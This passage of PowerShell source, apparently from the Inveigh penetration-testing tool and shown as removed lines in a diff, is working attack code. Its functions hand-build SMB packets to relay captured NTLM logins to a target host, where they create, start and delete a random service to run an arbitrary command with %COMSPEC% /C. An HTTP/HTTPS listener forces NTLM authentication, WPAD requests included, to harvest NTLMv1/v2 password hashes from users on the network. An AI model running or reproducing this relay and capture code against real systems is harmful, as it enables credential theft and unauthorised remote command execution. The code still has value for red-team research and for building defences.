$SMB_netbios_length` - + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` - + $SMB_blob_length` - + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` - + $SMB_byte_count` - + (0xa1,0x82,0x01)` - + $SMB_length_1` - + (0x30,0x82,0x01)` - + $SMB_length_2` - + (0xa2,0x82,0x01)` - + $SMB_length_3` - + (0x04,0x82,0x01)` - + $SMB_NTLMSSP_length` - + $HTTP_request_bytes` - + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - - $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) - $SMB_relay_response_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_response_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_response_stopwatch = [diagnostics.stopwatch]::StartNew() - - while(!$SMB_relay_response_stream.DataAvailable) - { - if($SMB_relay_response_stopwatch.elapsed -ge $SMB_relay_response_timeout) - { - $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break :SMB_relay_response_loop - } - } - } - - $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length) - - $inveigh.SMB_relay_active_step = 2 - - $j++ - - } - return $SMB_relay_response_bytes - } -} - -# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session -$SMB_relay_execute_scriptblock = -{ - Function SMBRelayExecute - { - param ($SMB_relay_socket,$SMB_user_ID) - - if ($SMB_relay_socket) - { - $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - - $SMB_service_random = [String]::Join("00-", (1..11 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_machine += '53-00-52-00-56-00-' + $SMB_service_random + '00-00-00' - $SMB_service_name = $SMB_service_random + '00-00-00' - $SMB_service_display = '49-00-56-00-53-00-52-00-56-00-' + $SMB_service_random + '00-00-00' - [Byte[]]$SMB_machine_bytes = $SMB_machine.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [Byte[]]$SMB_service_bytes = $SMB_service_name.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - [Byte[]]$SMB_service_display_bytes = $SMB_service_display.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - - $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ } - $SMB_relay_command += '00-00' - [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - - $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253) - $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] - - $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253 - 63) - $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] - - $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2) - - $k = 0 - - :SMB_relay_execute_loop while ($k -lt 14) - { - switch ($k) - { - - 0 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)` - + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00) - } - - 1 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)` - + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00) - } - - 2 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)` - + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` - + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)` - + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00) - - $SMB_multiplex_id = (0x05) - } - - 3 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 4 { - [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x8f,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)` - + (0x00,0x00,0x00,0x50,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)` - + (0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00)` - + $SMB_machine_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00) - - $SMB_multiplex_id = (0x07) - } - - 5 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 6 { - [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)` - + $SMB_service_data_length_bytes` - + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)` - + $SMB_service_byte_count_bytes` - + (0x00,0x00)` - + $SMB_service_byte_count_bytes` - + (0x3f,0x00,0x00,0x00,0x00,0x00)` - + $SMB_service_byte_count_bytes` - + (0x05,0x00,0x00,0x03,0x10)` - + (0x00,0x00,0x00)` - + $SMB_service_byte_count_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x62,0x01,0x00,0x00,0x00,0x00,0x0c,0x00)` - + $SMB_context_handler` - + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)` - + $SMB_service_bytes` - + (0x21,0x03,0x03,0x00,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00)` - + $SMB_service_display_bytes` - + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + $SMB_relay_command_length_bytes` - + (0x00,0x00,0x00,0x00)` - + $SMB_relay_command_length_bytes` - + $SMB_relay_command_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) - - $SMB_multiplex_id = (0x09) - } - - 7 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 8 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x93,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x54)` - + (0x00,0x00,0x00,0x54,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x54,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x54,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x00,0x10,0x00)` - + $SMB_context_handler` - + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)` - + $SMB_service_bytes` - + (0xff,0x01,0x0f,0x00) - - $SMB_multiplex_id = (0x0b) - } - - 9 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 10 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)` - + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)` - + $SMB_context_handler` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) - } - - 11 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 12 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)` - + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)` - + $SMB_context_handler - } - 13 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - } - - $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length) - $SMB_relay_execute_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_execute_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_execute_stopwatch = [diagnostics.stopwatch]::StartNew() - - while(!$SMB_relay_execute_stream.DataAvailable) - { - if($SMB_relay_execute_stopwatch.elapsed -ge $SMB_relay_execute_timeout) - { - $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break SMB_relay_execute_loop - } - } - } - - if ($k -eq 5) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - $SMB_context_handler = $SMB_relay_execute_bytes[88..107] - - if($SMB_relay_execute_bytes[108] -eq 0) - { - $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")]) - $SMB_relay_failed = $false - } - else - { - $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" - $SMB_relay_failed = $true - } - } - elseif (($k -eq 7) -or ($k -eq 11) -or ($k -eq 13)) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - - switch($k) - { - 7 { - $SMB_relay_execute_error_message = "Service creation fault context mismatch" - } - 11 { - $SMB_relay_execute_error_message = "Service start fault context mismatch" - } - 13 { - $SMB_relay_execute_error_message = "Service deletion fault context mismatch" - } - } - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c')) - { - $inveigh.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")]) - $SMB_relay_failed = $true - } - else - { - if(!$SMB_relay_failed) - { - $SMB_relay_failed = $false - } - } - } - elseif ($k -eq 9) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - $SMB_context_handler = $SMB_relay_execute_bytes[88..107] - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c')) # need better checks - { - $inveigh.console_queue.add("Service open fault context mismatch on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Service open fault context mismatch on $SMBRelayTarget")]) - $SMB_relay_failed = $true - } - } - else - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - } - - if((!$SMB_relay_failed) -and ($k -eq 11)) - { - $inveigh.console_queue.add("SMB relay command likely executed on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")]) - - if($SMBRelayAutoDisable -eq 'y') - { - $inveigh.SMB_relay = $false - $inveigh.console_queue.add("SMB relay auto disabled due to success") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay auto disabled due to success")]) - } - } - elseif((!$SMB_relay_failed) -and ($k -eq 13)) - { - $inveigh.console_queue.add("SMB relay command execution service deleted on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command execution service deleted on $SMBRelayTarget")]) - } - - [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + $SMB_multiplex_ID` - + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x19,0x03,0x00,0x00,0xed,0x01,0xed,0x01,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00) - - $k++ - } - - $inveigh.SMB_relay_active_step = 0 - - $SMB_relay_socket.Close() - - } -} - -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener -$HTTP_scriptblock = -{ - param ($Challenge,$SMBRelay,$SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$Repeat,$MachineAccounts,$ForceWPADAuth) - - Function NTLMChallengeBase64 - { - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - - if($Challenge) - { - $HTTP_challenge = $Challenge - $HTTP_challenge_bytes = $Challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null - - [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` - + $HTTP_challenge_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` - + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` - + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` - + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` - + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` - + $HTTP_timestamp` - + (0x00,0x00,0x00,0x00,0x0a,0x0a) - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - Return $NTLM - - } - - while ($inveigh.running) - { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $inveigh.message = '' - - $NTLM = 'NTLM' - - if($inveigh.request.IsSecureConnection) - { - $HTTP_type = "HTTPS" - } - else - { - $HTTP_type = "HTTP" - } - - - if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n')) - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 - } - - [string]$authentication_header = $inveigh.request.headers.getvalues('Authorization') - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if ($HTTP_request_bytes[8] -eq 1) - { - if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget)) - { - $inveigh.SMB_relay_active_step = 1 - $inveigh.console_queue.add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.console_queue.add("Grabbing challenge for relay from $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)]) - $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient - $SMB_relay_socket.connect($SMBRelayTarget,"445") - - if(!$SMB_relay_socket.connected) - { - $inveigh.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")]) - $inveigh.SMB_relay_active_step = 0 - } - - if($inveigh.SMB_relay_active_step -eq 1) - { - $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes - $inveigh.SMB_relay_active_step = 2 - $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length] - $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[102..109] - $SMB_relay_target_details = $SMB_relay_bytes[118..257] - $SMB_relay_time = $SMB_relay_bytes[258..265] - - [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` - + $SMB_relay_NTLM_challenge` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + $SMB_relay_target_details` - + $SMB_relay_time` - + (0x00,0x00,0x00,0x00) - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge) - $inveigh.console_queue.add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")]) - $inveigh.console_queue.add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.SMB_relay_active_step = 3 - } - else - { - $NTLM = NTLMChallengeBase64 - } - } - else - { - $NTLM = NTLMChallengeBase64 - } - - $inveigh.response.StatusCode = 401 - - } - elseif ($HTTP_request_bytes[8] -eq 3) - { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - - [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) - { - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - } - - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n')) - { - $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address - } - } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) - { - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for 